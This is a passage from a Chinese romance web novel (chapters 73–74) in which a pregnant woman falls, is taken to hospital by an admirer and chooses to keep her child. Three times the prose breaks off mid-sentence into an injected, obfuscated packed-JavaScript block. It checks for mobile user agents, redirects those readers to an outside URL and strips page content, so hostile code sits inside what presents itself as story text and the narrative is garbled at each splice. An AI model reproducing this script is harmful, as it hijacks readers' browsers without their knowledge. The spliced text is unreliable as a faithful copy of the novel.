“替你省钱不高兴吗?再说我又不怎么穿正装,买袖扣有点浪费。你送我的东西我当然想天天戴着。”魏如栩看她的表情,像是被猫爪轻轻挠了下心尖,满腔爱怜无处释放,忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了当这个总经理,平时他努力把自己装作成熟稳重的样子,只有在顾妙面前才偶尔露出属于年轻人的天真和特立独行。想到这里,顾妙又不忍苛责他什么了。 “小孩才做选择,成年人都是allin。”顾妙伸手把他说的几款耳饰都拿了起来,“走,结账去。” 魏如栩瞪大了眼跟在她后面:“这么壕,你不过了?!” “这总共加起来还不到那袖扣的零头,你替我省了大钱,我还能跟你小气?”可能酒意还没完全消散,顾妙借着心里那股说不清道不明的劲儿冲他“邪魅”一笑,伸手拍了拍他的脸,“姐养得起你,别担心,啊!” 魏如栩:“……” 周围有人听见顾妙这话,回头看他,女孩子们都是一脸艳羡,那些被迫陪着女朋友们来逛街的男同胞们纷纷向魏如栩投来异样的目光,似乎在问他软饭到底香不香。 上次送醉酒的顾妙回家时出租车师傅质问的目光似乎还在眼前,魏如栩觉得自己浑身是嘴估计也说不清楚,垂着头夹着尾巴灰溜溜跑了。 从商场里出来,魏如栩一直欢喜地摆弄着那几款耳夹,隔着小包装袋,看看这个,摸摸那个,爱不释手。 顾妙看他这副模样,忍不住打趣:“男人也这么喜欢珠宝首饰么,等姐发财了,给你买真的戴。” 魏如栩瞪了这不解风情的丫头一眼:“我要真喜欢,难道不会自己买吗?等你发财我都成老头了。” “这么不看好我?太损了吧!不喜欢就还给我。”顾妙伸手暴力地抓过魏如栩手里的耳饰。 “哎你轻点!弄掉了!”魏如栩弯腰拾起掉在地上的那对小圆珠耳夹,沉重地叹息,“你这人咋就这么不开窍,我喜欢的是这东西吗?是……” 险些把“送东西的人”给秃噜出来,魏如栩记起他对顾妙的承诺,狠心地将话咬断,生硬地转折:“是收礼物的好心情。” 顾妙撇撇嘴,把手里的东西还给他:“你从小到大没少收礼物吧,还这么激动。” “诶,信不信,”魏如栩用胳膊肘拱了拱她,“你是第一个送我礼物的女孩子。” 顾妙诧异地睁大眼睛抬头看着他,户外彩灯变着色地打在魏如栩的脸上,把他一张棱角分明的俊脸照得浓墨重彩,为他的笑容也染上几分狡黠。 “屁,老板你行情这么差的吗?”顾妙反应过来,“真是男人的嘴,骗人的鬼,我才不信!光那天投喂你美食的女员工就不下十个,你这谎扯得也太烂了。再说,你没照过镜子吗?知道自己长啥样吧,就冲你这脸,在学校就没少收粉丝礼物吧?在操场打个球,没有脑残粉要给你生猴子?连我都是你颜粉好吗!不要卖惨,你这样的卖惨等于犯罪。” 魏如栩被她这气急败坏的一通评论逗乐了,笑得直不起腰,好不容易止住,他擦掉眼角笑出来的泪:“是真的,我没骗你。她们在我眼里没性别,顶多就是同学和下属。你不一样,你是朋友,女性朋友。” 他认真地想了想,补充道:“红颜知己,所以你送的礼物很重要。” 魏如栩寻思着接下来顾妙要么感动要么尴尬,总体都会给出个能让他判断此刻心情的反应,于是满怀期待地看着她的脸。 没想到顾妙可能拿错了剧本,听到“红颜知己”四个字之后,吸了吸鼻子,讪笑道:“什么词儿,听着跟小三儿似的。” 魏如栩:“……” 反正就是很后悔,喜欢上了这个二百五。 顾妙一捣胳膊,不小心捅到他肋骨,魏如栩捂着肚子弓起腰:“你干嘛,说错词儿就要弄死我吗?” “装什么弱柳扶风,我又没使劲,看看几点了。”顾妙面不改色。 你这个冷血的女人!魏如栩掏出手机:“快十点了……哟,这么多未接来电。” 不知道什么时候不小心把手机按静音了,现在屏幕上密密麻麻一排通知,看得他头晕,有几个是盛然打来的,想必是给他汇报刚刚的寻人结果。还有他那一起打台球的朋友,应该是在谴责他一声不吭玩消失。 “咦,小姨给我打了两个电话。”魏如栩赶紧拨回去,“说不定给你打不通才给我打。” 顾妙听了有点意外:“不会出什么事吧?” 电话通了,接起来的人竟然是盛然,他气喘吁吁,声音有点发颤:“小魏总,晏如现在在医院。” 73. 第七十三章 决定 凌晏如这一周以来过得抓心挠肝,觉得自己可能已经化成了水逆本逆。 出国那么多年,在国内的朋友们联系得不多,大家也都上有老下有小,忙得像个陀螺,没工夫对友情进行升级维护,因此感情线都断得七七八八,顶多求代购澳洲保健品的时候才有人想起她。 到了国外也交过几个朋友,可也都是有家有口的,平日里顶多是礼貌上的来往,或者几个人小聚吐吐槽。等她们大多有了孩子之后,话题内容都围着孩子转,凌晏如插不上嘴,听着还有点伤心,后来也就懒得凑热闹了。 其实她在离婚的时候就发现,自己真没什么朋友。平日里她心也大,不需要倾诉不需要吐槽,忙着饭店的生意,风风火火没时间伤春悲秋,可等遇上事儿了,她意识到自己连个能商量大事、能安慰自己的人都没有。 没爱情、没友情,没事业,凌晏如觉得自己挺失败的,成了别人嘴里那种“穷得只剩下钱”的人,就连这个标签她背起来也有着沉重的心理负担,几百万算什么有钱人,比上不足比下有余罢了。 硬核小姨凌晏如牙一咬心一横,什么都自己撑着,倒也无所谓。离婚而已嘛,又不是天塌了,难过归难过,哭一场祭奠一下曾经傻逼付出的真心,擦干眼泪从头再来,没什么的大不了的,她也不需要人哄着抚慰着。 可孩子的事不一样。 以前她作天作地也好,冲动任性也好,那是活她自己,她能负起责任。走了弯路可以往回走,过得不爽了跺跺脚吼一吼,即便出了什么事,她要遭受惩罚,那也心甘情愿。 但孩子是什么?是另一个生命,是她万一做错了决定就无法回头的重担。如果因为她的失误,让孩子遭受什么委屈,她不能替他疼替他苦,只能在一边看着,就连帮忙都有限。 错是她犯的,后果却要别人来承担,这一点她做不到。 上次的SWOT矩阵只分析了她那看起来还不错的外在条件,可是没法分析她究竟适不适合做一个母亲,如果她不合适,还在无意间给孩子幼小心灵留下什么创伤,从而影响孩子将来的一生,那该怎么办? 凌晏如从没觉得自己是个瞻前顾后这么不果断的人,可这回在这个问题上,她为自己的犹疑不决而感到诧异,进而更加深了对自己的怀疑。 尤其翻遍网络,大家都在讨论原生家庭问题对孩子的影响,这事儿在她心里就像座不断增高的大山,堵得她越发喘不上气。 她不敢保证给孩子一个健全的家庭,这简直是原生家庭负面影响的教科书教材。 要么给不了足够的爱,让孩子自卑敏感软弱,要么可能会过度宠爱,让孩子自大自我为中心缺乏共情能力。 把握那个合理的度很重要,可凌晏如没这方面的自信。 一周以来她除了查遍网络上的资料,买了许多书看,还特意去咨询了心理医生。 可了解得越多,她心里反而越恐慌。心理医生也不会帮她做决定,只说她有点轻微焦虑,需要再多剖析自己慢慢寻找解决的办法。 她能等,孩子不能等。 怀孕不到一个月,孩子只是个受精卵,可以控制住感情,理性对待它的去留问题。 怀孕两个多月,胎儿手脚、五官基本定型,身体主要器官已经存在,它就已经是个人了。 凌晏如在网上搜过相关图片,虽然有点不忍直视,可那是一个人的形状,是长在她肚子里的鲜活生命。她已经在不知不觉的情况下怀孕两个月,如果再不做决定——生理上的痛苦她能忍,心理上的痛苦可能会跟着那逝去的胎儿刻在她良心的祭坛上。 怎么办,到底该怎么办?! 茫然无措的时候,她也想到了前夫,甚至拨了语音电话过去,可等待音没响几声,那电话就被挂断了,凌晏如没有难过,反而自嘲地笑了笑。 不管是前夫挂断的,还是前夫的新老婆挂断的,都无所谓,她本就不该这么打电话过去,被人打脸那是活该。 反正跟那个人已经没关系了,将来她要做的不过也就是知会他一声,是他先叛出了这段婚姻,又有什么资格对她将来的生活参与意见呢? 不过是一枚精子的提供者而已。 顾妙知趣地没来吵过她,只敢三不五时地发条微信慰问一下。顾肖那小崽子现在还不知道这事儿,知道又怎么样,他个连毛都没长全的小混蛋能给出什么合情合理的建议。 倒是凌晏如那个热情的二姑经常打电话来骚扰,中心思想就是劝她生。本来就不好生,现在意外有了孩子当然得留下,没做过母亲的女人生命不完整! 凌晏如被二姑烦得头疼,设定了全天免打扰。可安静的空间也很磨人,更加反衬出她的焦躁不安来。 这如坠地狱的几天里,她吃不下,睡不着,更不可能写得下去什么小说。后来她还投靠了某种流传已久的玄学——用摘花瓣来替自己做决定,生,还是不生。 结果是花瓣洒落一地,她一晃神儿,忘了自己刚才说的是哪个选项,接下来一切就全乱套了,最后的结果是“生”,她觉得“施法”过程受到干扰,结论不予采纳。 从自己内心对这个结果的排斥反应来看,凌晏如觉得她可能是真不想要这个孩子。 无奈叹了口气,她站起来想去拿扫帚把这一地狼藉打扫干净,谁知刚站起来,踩上那地面的一层花瓣,她脚下猛地一滑,整个人向前扑去,狠狠地撞在大衣柜上,匆忙间没来得及抓住衣柜把手,被地心引力拉扯着摔到了地上。 凌晏如脑袋“轰”地一响,立刻挺直身体想要爬起来,可还没等她反应过来,一种撕心裂肺的疼痛从小腹开始蔓延,睡衣裙底见了血。 她立刻伸手摸索着去找手机,可能因为害怕,因为疼,慌乱地摸了半天才摸到。凌晏如给顾妙打电话,提示手机关机,无奈之下她只好给魏如栩打电话,可是打了两遍都没打通。 小崽子就是靠不住,关键时刻掉链子。靠别人终究不如靠自己,凌晏如踉踉跄跄地起身,抓起风衣外套披在身上,穿着拖鞋就下了楼,一边下楼一边叫车。 可能就是老天故意为难她吧,软件居然显示附近车辆较少,让她耐心等待。 凌晏如暗暗骂了一句:“等下去老娘命都没了!” 她决定到小区门口去拦车,可是腹部越发地疼了起来,每走一步都锥心刺骨似的,全身都疼脱了力。 凌晏如眼冒金星,在夜晚的光线下几乎看不清东西。她出了一身冷汗,被夜风一吹,浑身上下起了一层厚厚的鸡皮疙瘩,连想死的心都有了。 活着干什么呢,简直就是活受罪。 盛然先前接了魏如栩的电话,按着他的命令在客户部问了一圈,有人知道廖玄要请孙总去唱歌,正是刚刚魏如栩说的那个地方。可谁也没在现场,谁也不知道那边发生了什么。 犹豫再三,盛然决定亲自去KTV那边看看。 他一边下楼,一边给魏如栩打电话,却发现小魏总也开始玩失踪,刚刚还夺命连环call,现在也不接电话了。 盛然不知道他们这些人唱的哪一出,只好暂时停下漫无目的的电话寻人,发动汽车往外开。刚拐上小区的主道,他就发现了一个仓皇踉跄的身影,扶着树,佝偻着背,艰难地呼吸着。 晚上出来遛弯的人挺多的,他妈郝老太太也出来了。但大伙儿都往附近广场去,小区里人都是形色匆匆,没有人注意到那孤立无助的凌晏如。 可她脆弱的样子灼伤了盛然的眼睛,他一个紧急刹车停在路边,冲过去就抱住了她。 风衣盖着,盛然注意到她流血,但已经被她面若金纸、满头冷汗的样子吓着了,他顾不上多问,抱起凌晏如就往车上跑,将她塞进副驾驶,系上安全带,然后跳进驾驶座,猛给一脚油,就往最近的医院开去。 但这一幕,被刚进小区的郝老太太和她的姐妹团们看到了。 姐妹团里一个老太太尖声说:“哟,郝妹妹,那是你家儿子吧,抱的那女的是谁啊?” “是谁?”郝老太太冷笑,心道,“原来那女的就在我眼皮底下藏着呢!” 盛然一边开车,一边握紧凌晏如冰凉的手:“晏如,你怎么了?哪儿难受?” 凌晏如歪歪地靠在座椅上,嘴唇翕动:“疼……孩子……摔、摔了一跤。” 虽然她说得乱,但盛然立刻就懂了,这下恨自己刚刚没问清楚,问了的话就直接打120,虽然一来一回耽误时间,但至少能让凌晏如尽快得到救治。 现在说什么都晚了,只能尽快把人送到医院。 盛然开着车横冲直撞,但因为凌晏如在副驾驶上,超速闯红灯什么的他一概不敢,生怕出意外。每看见一次红灯,他都等得万分焦急,简直度秒如年。 可他又什么都做不了,只能握着凌晏如的手使劲搓着,似乎想把自己焦躁的精力全都注入到她的身体里,免得她再这样虚弱下去。 “晏如,你撑着点,会没事的,医院就快到了。”盛然四平八稳活了三十多年,大大小小遇到过一些难事儿,却从没有什么让他如此惊慌过,他似乎第一次为一个人如此焦心。 终于到了医院,他随便把车往急救大厅外一停,只向外扫了一眼,确认了一下没挡住急救车道,就什么都不管了,抱起凌晏如就往里冲。 “盛然……”怀里的人突然用力掐住了他的手,也不知道是因为疼,还是因为想说的这句话很重要,指甲抓破了他的皮肤,“孩子……我要这个孩子!” 盛然心疼地看着凌晏如堪堪睁开的眼睛,使劲点头:“我明白,你和孩子都不会有事!” 凌晏如的视线已经模糊了,她看不清盛然的脸,但听到了他的回答,竟然挤出了一丝若有若无的笑意。她闭上眼,感觉到盛然急促的呼吸声喷在她的脸上,一声声喊着:“晏如,别睡……” 可她还是睡了过去,准确说来,是晕了。 护士们推着轮车过来,帮着盛然把凌晏如放在上面,推车就往急救室里冲,同时还有人帮忙拦住他:“先生,麻烦您在外面等。” 盛然满脑子凌晏如,已经没了主观能动性,被人拦着就本能地停了下来,他眼睛死死盯着凌晏如,看着她被人推进了急救室,还有穿着白大褂的医生脚步匆匆跟了进去,这才发觉自己已经浑身脱力,腿一软,扶着墙坐在了旁边的连椅上。 他弯腰低头,双手架在膝盖上,狠狠地搓了把脸,等着那狂跳不止的心慢慢安静下来,一口气还没喘匀,兜里的手机就剧烈震动了起来。 来电是陌生号码,口气有点冲:“喂,是z603的车主吗?” 盛然捏着眉心应道:“是,你哪位?” “快出来挪下车,挡着道儿了知道吗?那是停车的地儿吗?真没素质!” 对方说完就撂了电话,盛然无奈,虽然他很不想离开急救室门口,但车确实得挪,他不能给别人制造麻烦。 走了两步,盛然回头,拉住一个从急救室里出来的小护士:“不好意思,我去挪个车,马上就回来,刚刚送进去的……” “那位孕妇是吧,你放心,我帮你盯着。”小护士快人快语,可能对这样的事儿也司空见惯,神色如常,顺嘴安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赶回急救室门口,医生恰好出来。盛然着急忙慌地迎上去,还没等他说话,医生摘掉口罩安抚他:“别担心,孩子和孕妇都没事,孕妇要转去观察室待一晚上,你好好陪着她。高龄产妇不容易,家属得多费心,知道吗?” 盛然连连点头:“谢谢大夫!” 门开了,两个护士推着面色苍白的凌晏如出来,盛然立刻跟了上去,看她仍旧面无血色,眼睛紧紧闭着,担心地问:“她怎么还不醒?” 护士妹子都二十出头,俩人交换了一个眼神,“噗嗤”一声笑了出来,其中一个看向盛然:“头一胎是吗?难怪这么紧张。打了镇定剂,得睡一会儿,大夫都说没事,你放心吧。” 多年来做事都游刃有余的盛总此刻又找回了毛头小子的迷茫感,不好意思地挠挠头,腼腆地笑了。 观察室里一共八个床位,有七个都躺着病人,见他们进来,大家都只是纷纷回头看了一眼,很快又把头转回去,各自忙各自的。 盛然觉得人太多环境不太好,有点介意,又想着但愿观察一晚没什么事,明天就能带她回家,还是别折腾她为好,于是便没吭声。 刚刚跟他说话的护士冲他扬了扬下巴:“家属来办下手续吧。” 盛然的眼睛还粘在凌晏如脸上,撕都撕不下来,他犹豫着:“我陪她一会儿,等她醒了我就去。” “她且得睡呢,办手续很快,保准你回来之前她都醒不了。”护士笑了,偏头跟同事小声嘀咕,“真黏糊!” 另一个护士轻轻推了她一把:“羡慕吧你!” 盛然犹豫了一下:“那行。” 手里抓了一沓单子,看了看排队的人,盛然选了自助缴费。生怕凌晏如醒了见旁边一群陌生人会害怕,此刻的他真是归心似箭,恨不能学会瞬间移动,一秒赶回病房。可许久没来过医院,盛然对这些东西都不熟,自助缴费机的反应堪比古董电脑,折腾得他出了一身汗。 好不容易交完钱,盛然一路小跑往观察室赶,路上听见凌晏如的手机响,从包里拿出来看是魏如栩的电话,立刻接了起来,没工夫跟他废话,传达完消息就撂了。 他气喘吁吁赶到凌晏如的床前,见她还在睡着,这才长出了一口气,把手里东西先放在床头柜上,将病床四周的帘子拉了个严严实实,隔出一个相对安静的空间,这才拉了凳子坐在她病床前。 凌晏如的脸和嘴唇都没有血色,长长的睫毛覆在眼下,被苍白的面孔衬得又黑又浓。病着的她跟平时飒爽的样子判若两人,显得瘦弱又惹人心疼。此刻如果不是她刚经历过流产危机,盛然很想把她拉进怀里紧紧抱着。 犹豫了好一会儿,他才把病床一侧的护栏放下,双手轻轻伸进被子下面,握住了她的手。 让盛然惊喜地是,凌晏如竟然也回握了他,虽然她是无意识的,且那力气小得令人难以察觉,却足以让他心如擂鼓,仿佛这样一个微小的动作,控制了他情绪的全部开关。 盛然紧紧盯着她的脸,盼着她醒来,他有满腔的话想跟她说——他仿佛从来没有这样喜欢过一个人,不管她是什么身份什么年纪,她就是她,只是站在那里,就足够让他魂不守舍。 怀着一种近乎虔诚的心情,盛然向前探了探身,在凌晏如的嘴角上轻轻印下一吻,一触即放。 直起身子之后,盛然不禁捂着半边脸笑了。 真是一夜之间倒退二十岁,他就像个情窦初开的小男生,借着布帘的遮挡,在对方毫无知觉的情况下,偷亲喜欢的女生。 真幼稚,可又真甜蜜。 他笑完自己,回味了一下,再抬起眼去看凌晏如,没料到却撞见了一双睁着的眼睛,正意味不明地看着他。 74. 第七十四章 幼稚不幼稚 就像干了坏事被班主任抓到的顽皮学生,盛然尴尬地眨了眨眼,佯装若无其事地把凌晏如的手松开,将被子给她盖好,还轻轻拍了一下,好整以暇地问:“醒了?” 凌晏如从鼻子里哼了一声:“嗯。” “什么时候醒的?”盛然尬聊。 “被人偷亲的时候。” 盛然:“……” 两人相顾无言,盛然脑子里转着各种念头,拼命想要起个话题,但都没找到合适的。 凌晏如打破这令人窒息的沉默,虚弱地问:“孩子怎么样了?” 盛然一拍大腿,怎么就忘了说这个呢?! “没事,你放心,大夫说一切都好,今晚观察一下,没其他情况明天就能出院。”盛然柔声说。 凌晏如端详着他,沉默了几秒钟:“谢谢。” “谢什么,举手之劳。”盛然觑着她的脸,“顾妙和小魏总都不在家是吧,放心,我通知他们了。不过……这么关键的时候怎么不找我?疼成那样还一个人下楼,是要干什么?” “打不着车,想出来拦。” “……”盛然微微蹙眉,“你没想过打急救电话吗?” 凌晏如的脸上罕见地出现了几秒空白,出现这样的低级失误,她觉得难为情,拉起被子盖住脸。 一向聪明灵巧的女人突然犯了傻,盛然觉得她这个样子可爱极了,给她把被子拉下来,塞到脖颈,笑道:“别盖脸,不吉利。估计你当时是疼傻了,一时没想到。” 凌晏如生无可恋地把脸转向另一侧,哀叹:“完了,真是一孕傻三年么……” 盛然看气氛正好,刚想嘴甜地安慰几句,就听见观察室的门开了,魏如栩和顾妙小声交谈的声音传来。 “小姨在哪个床啊?”顾妙声音听起来很着急。 “这几个都不是,肯定是那拉着帘子的。”魏如栩判断准确。 盛然赶紧起身把帘子拉开一条缝,冲他们俩招手,魏如栩和顾妙看见他,立刻噤声,神色焦急地快步走了过来。 “小姨!你没事吧?”顾妙看到凌晏如苍白无力的样子吓坏了,印象中她小姨向来精力旺盛,没想到还会有这副弱柳扶风的样子。 她看了眼病床边,坐也不敢坐,微微躬了躬身又站起来;想拉凌晏如的手,却看她的手在被子下面,掀被子怕她受凉,所以伸了伸手又缩了回去,整个人看起来又紧张又惶恐。 凌晏如笑了笑,主动拉住她的手:“瞧你这无处安放的小手,我和宝宝都没事,你俩都放心吧。” 魏如栩听她这么说,也稍稍松了口气:“那就好。” 顾妙却从她话里听出了别的意思:“小姨,你决定留下宝宝了?” 凌晏如看着她,勾着嘴角轻轻点了点头。 “太棒啦!怎么突然想通了?” “等你快要失去的时候就知道自己多想要了。”凌晏如另一只手轻轻放在小腹上,“以前想那么多完全是庸人自扰,哪有什么能完全规划好的人生,尽力走好每一步罢了。” 魏如栩赞赏地竖起大拇指:“小姨睿智。” 顾妙捣了他一下:“马屁精。” 魏如栩委屈:“真心话!” 看着两个小青年在自己跟前逗贫,凌晏如心情好了很多,脸上稍稍恢复了些血色:“你俩人今天干什么去了,都不接我电话——妙妙,你是不是喝酒了?身上有酒味儿,如栩身上全是烟味儿。” “还这么大味儿吗?”顾妙闻闻自己身上,问询地看向魏如栩。 魏如栩忙着闻自己,一脸无奈:“别看我,跟你待时间长了我闻不出来了。” 顾妙冲凌晏如摇摇头:“不提了,一点糟心事。我手机没电了,完全不知道你给我打过电话。幸好有盛总在。” 她一边说着,一边回头向盛然感激地微笑,凌晏如也顺着她的目光看过来。有两个年轻人在,盛然又恢复了一贯的老成持重的样子,站在帘子构成的狭小空间一角,身姿挺拔如松,面带轻松的表情,沉默地看着他们。 此时见凌晏如和顾妙都看自己,他按捺住心中那一丝窃喜,端庄地冲她们一点头。 凌晏如捏了捏顾妙的手:“时间不早了,你们俩先回去吧。” “我留下来陪你吧。”顾妙恋恋不舍。 盛然:“顾妙,你和小魏总先回去。晏如观察一晚明天应该就能出院,你俩明早过来一趟,给她带几件干净衣服和暖和的鞋子。这边我来照顾,你不用担心。” 他的语气里有种不容置疑的威严,也是在公司里跟员工安排工作习惯了的。先前顾着魏如栩的面子,跟他说话是用平等的语气,但这是家事,按照凌晏如的辈分算,顾妙和魏如栩都是小辈,所以他也拿出了长辈的气场。 顾妙迟疑地看看魏如栩,魏如栩冲她摊手耸肩,表示这事儿他其实没什么发言权。于是她又看向凌晏如:“小姨?” 凌晏如:“嗯,你们回去吧,明天一早过来就行。” 当家人发话了,顾妙也就没再坚持,再说她这一身酒气确实不合适待在医院里,便跟魏如栩推推搡搡地走了。 等他们俩出了门,凌晏如撩起眼皮看着坐在一旁的盛然:“你也回去吧。” “我不走。”盛然仿佛预感到她要说什么,好整以暇地说,“我还得照顾你。” “用得着你照顾吗,这是观察室,护士和医生老得来。”凌晏如没力气做表情,就这么直勾勾地看着他,“说不定不让留人呢。” “不让留我就在外面长椅上等。”盛然一副“任他风吹浪打,我自岿然不动”的态度,铁了心不挪窝。 凌晏如闭上眼,先前生理和心理的双重折磨已经耗尽了她的体力,这会儿她只想睡觉,以及她不是真心想赶盛然走,毕竟体力虚弱的时候心理也会脆弱,她并不想一个人待在这里,于是低声道:“没力气跟你争,随你便。” 盛然等的就是她这句,堪堪忍住得意的笑,起身帮凌晏如把被子塞好,手支在床头柜边撑着头,一眼一眼地打量着她,觉得怎么看都看不够。 刚刚着急来医院,魏如栩和顾妙是打车过来的。考虑到明天一早可能要用车,魏如栩还是先去找朋友拿了外套和钥匙,再到台球厅附近取了车,才跟顾妙一起踏上回家的路。 这一折腾都快十二点了,魏如栩开着车,打了个哈欠,回头看了眼顾妙,见她靠在副驾驶座上头一点一点的,显然已经困极了,毫不留情地推了她一把。 “喂,醒醒。” 顾妙一激灵,睁开眼:“怎么了?” “别睡,容易着凉。”魏如栩把他的外套扔给她,“盖上,跟我说会儿话,坚持一下就到家了,回去再睡。” “说什么啊……”顾妙揉着眼睛。 魏如栩打趣:“这么快就没话跟我说了?色衰爱弛?” 顾妙茫然地瞪着大眼:“老板我警告你哦,本人困的时候幽默细胞会提前入睡。以及你开车可不可以把两只手都放在方向盘上,不要学拓海哥哥哦!” “什么怪腔怪调。”魏如栩失笑,听她的话乖乖两只手把着方向盘,“哎,你说盛然是怎么想的?这么多天都没动静,一来就英雄救美,这点儿踩得可真准。可他要不打算跟小姨继续的话,也不用表现得这么殷勤对吧,还非要留下来陪着。” “我哪知道你们狗直男都怎么想。”顾妙困得恹恹的,“或许他就是没死心吧。我也希望小姨身边有人照顾,但更害怕这个照顾的人半路跑掉。” 魏如栩思忖着:“其实他先前要是真的借这个理由撤退,也没什么好埋怨的,是吧?” “是,养孩子这么大的责任‘咣叽’一下从天而降,亲生的都有可能跑路呢,何况和他丁点关系都没有。”顾妙望着窗外飞速向后退去的路灯,喃喃道,“你不经常说么,趋利避害是人的本能。” “那不行,我得想办法套他的话。”魏如栩若有所思,“不能给他伤害小姨的机会。” 顾妙回头诧异地看着他,魏如栩嘚瑟地笑:“你老板我是不是帅呆了?是不是正义的使者,天使的化身?” “呸,先惦记我弟,又巴结我小姨。”顾妙斜眼看他,“说,你到底什么企图?!” 魏如栩似笑非笑地看她一眼:“你说我什么企图?” 顾妙:“……” 她原本只是想说一句插科打诨的话,没想到被他这么一反问,倒多了一点暧昧的意味,这还怎么接? 尴尬了两秒,魏如栩大笑:“当然是用家人威胁你,让你老老实实替我卖命了!” “老板你算盘打得很响嘛。”顾妙顺坡下驴,幽幽地说,“比我这个钱串子还厉害。” 魏如栩沉吟片刻:“哎,打个商量。上班的时候叫我老板,下班就别叫了呗,叫我名字,怎么样?” 顾妙:“哟,还saymyname呢?不叫,别扭。” “电视剧看多了你?不是朋友嘛,不叫名字多生分。”魏如栩轻轻打了她胳膊一下,撒娇地,“来嘛,试试呀!” “不试。”顾妙瞅着被他打过的地方,“你知道顾肖小时候跟我撒娇什么后果吗?” 魏如栩没在怕的,他知道顾妙就是个纸老虎:“不管,快叫。” “不叫。”顾妙嘴唇动了动,在心里喊了声“如栩”,觉得哪里不太对。 魏如栩继续戳她:“叫一个!” “你幼不幼稚?” “快嘛!”又戳一下。 顾妙抓起他不老实的手腕,飞快地咬了一口。 “啊!你属狗的?!”魏如栩一边看路,一边给了她一个惊恐的眼神。 顾妙舔着牙森森地笑着:“不要挑战一个醉鬼的底线。” 可能体内还有镇定剂的缘故,也有可能是最近以来惶惶不可终日的心情终于归于平静,凌晏如睡得很香,一觉到天亮,醒来时她看见一颗脑袋趴在自己身边,是盛然,他就这么在病床边睡了一夜。 凌晏如并不是铁石心肠,相反因为荷尔蒙不稳定还有点情绪泛滥,盛然又来了这么一出英雄救美、雪中送炭,她此刻的心简直比豆腐脑还软,望着他英俊的脸简直要生出很多不切实际的幻想。 要不,把他留下?凌晏如想,这人心肠好,又有责任感,况且自己还喜欢。 可很快她心里另一个声音——或许是良心——提出了反对意见:“拖人下水不道德。” 凌晏如心想:“我又没逼他,怎么不道德了。” 良心:“你喜欢的是他,还是他带来的安全感?” 凌晏如:“……” 大清早自己跟自己吵架怪没劲的,她机智地掐断了这个话题,躺了一晚上有点累,刚想侧侧身,谁知她一动,盛然就醒了。 这家伙睡眼惺忪,第一件事就是隔着被子按住她的手腕,另一只手覆上她的额头,“怎么样,没发烧吧?有没有哪里不舒服?” 他头发乱蓬蓬的,眼睛还没完全睁开,眼珠甚至还没对焦,这副样子看起来怪好玩的,凌晏如扒拉下他的手:“我好得很,估计一会儿就被踢出门赶回家了。” 盛然这才醒了盹儿,揉揉眼睛:“哼,你还想在这儿多住两天不成?” 观察室里也并不是很安静,其他几床病人各有各的问题,吃饭的喝水的上厕所的,都有动静,也有低声说话的声音,盛然和凌晏如也就没太压着声音。 “才六点多,你睡好了吗?”盛然看了眼手表,皱着眉,“要不再躺会儿?” 凌晏如支撑着要起床:“躺一晚上累死了,我要去厕所。” 盛然赶紧搀扶她坐起来,拿起放在床尾的风衣给她披上,又觉得那风衣有点薄,想把自己身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459451|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的亚麻休闲西装脱下来给她披,遭到了凌晏如的严词拒绝。 “不用了大哥,我身体倍儿棒!” 棒你个头!盛然想想昨天她在自己怀里面色苍白连话都说不完整的样子,又是一阵心惊肉跳。 不穿就不穿吧,盛然把衣服扔在床上,看到凌晏如光着脚,按住她肩膀:“你等等!” 说罢他就跑了出去,片刻后拿着双一次性拖鞋回来,单膝蹲下,轻手轻脚抓住凌晏如的脚踝,把拖鞋给她套上:“昨天你拖鞋不知道掉哪了,我刚跟护士要了一双。” 凌晏如的脚并不冷,但明显盛然掌心的温度更高,被他猛地抓住脚踝,她觉得整条腿都麻酥酥的,浑身血液有点沸腾。 “哎,我自己来。”凌晏如不是很自在,轻轻推了他一把,没推动,倒是摸到了盛然上臂坚实的肌肉,触感更让人躁动。 盛然坚持给她套上另一只拖鞋:“来什么来,这不就穿好了。” 他站起身,看看那双底儿比煎饼还要薄的拖鞋,皱起眉:“不行,地上凉,这鞋不管事儿。” “管不管事儿都它了,我快憋不住了。”凌晏如一夜没上厕所,又输了液,此刻越发觉得不能忍,试探着下地,“没事——哎,你干嘛?” 盛然俯身就把她打横抱了起来:“我抱你去洗手间,到那边你再下地。” 他只穿了一件衬衣,男人热腾腾的体温透过几层薄薄的布料迅速抵达凌晏如的皮肤,让她有种被人温暖呵护的感觉,小心脏突然就跳乱了一拍。 凌晏如心道,哟喂,这就把持不住了?一定是荷尔蒙在作怪。 突然盛然的声音就在她耳根儿响起,男低音的频率快跟她的心跳共振了:“愣着干什么,撩帘儿啊!我可伸不出手去了,配合这么不默契呢。” 撩帘什么完全没有必要,帘子中间有条缝,他直接穿过去就行。盛然这么说,主要是看到凌晏如面红耳赤的样子很有趣,禁不住就想逗逗她。 凌晏如一边羞愧自己退化成了情窦初开的少女,居然这么容易就被人撩动心弦,一边努力找回场子,她一手攀住盛然的脖子,一手撩开布帘:“盛总你胸肌太大,硌得我有点找不着北。” 盛然抱着她气定神闲地往洗手间走:“过奖。” 直到了女厕门口,盛然才把凌晏如放下,恋恋不舍地目送她进去,凌晏如回头嫌弃地瞅了他一眼:“躲远点,别跟个偷窥狂似的在这散德行。” 